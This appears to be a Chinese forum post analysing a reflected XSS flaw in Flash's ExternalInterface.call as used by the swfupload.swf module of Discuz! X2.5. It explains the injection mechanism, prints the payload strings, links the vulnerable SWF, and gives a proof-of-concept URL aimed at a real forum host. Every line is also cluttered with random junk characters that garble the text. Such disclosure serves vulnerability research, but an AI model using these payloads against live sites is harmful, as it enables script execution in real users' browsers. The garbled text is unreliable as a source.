上回我们说5 @( ^+ r. |) O
& @1 ?* A; b0 @ n0 B& d7 Qflash.external.ExternalInterface.call($methodName, $parameter)
9 e0 _9 @. k$ U6 s在浏览器中执行的是3 `, o5 Y0 H6 r! G9 v5 o a( B1 n
) M" u$ Y# W; ]4 dtry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
0 I' b% u4 u# I% W0 F8 T对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
, z, u0 G3 L& V% ~, j* i$ W# K$ \1 F& e' |
flash.external.ExternalInterface.call("object."+$methodName, $parameter); c) R6 f% m$ A4 W
$methodName = a())}catch(e){alert(/xss/)}//: G; T s- E0 ^" R2 J
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。; B5 ~( \! N z9 z2 v
% z/ F8 }" p) Ptry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
. a) B$ J5 A; S
4 N, e# P8 B* F, [: X, h6 N3 ?! g! z5 F这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
4 A+ R' P' j, [杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
; G1 ?6 s) ~, L( S0 ]& ~" {( B( Q# |1 u$ ^! p1 B4 @
k6 J" [/ g- w6 f5 l
) x, Z7 d9 l6 }& `漏洞文件:upload\static\image\common\swfupload.swf) ?1 e, ^" E! z1 k" ~- v' E% ] ~
9 d- a" c& Z& P3 O6 {' |原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
+ G2 u# o7 D$ F, v" q
; r7 P) n3 n6 t9 f1 |) N; H7 w3 P6 R9 ^0 k0 }
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//. Z( z5 g7 o5 m. O, E8 O' [
/ ]4 |/ f1 b7 ~8 K
0 y0 f# Y& r/ i$ \- V& E" i |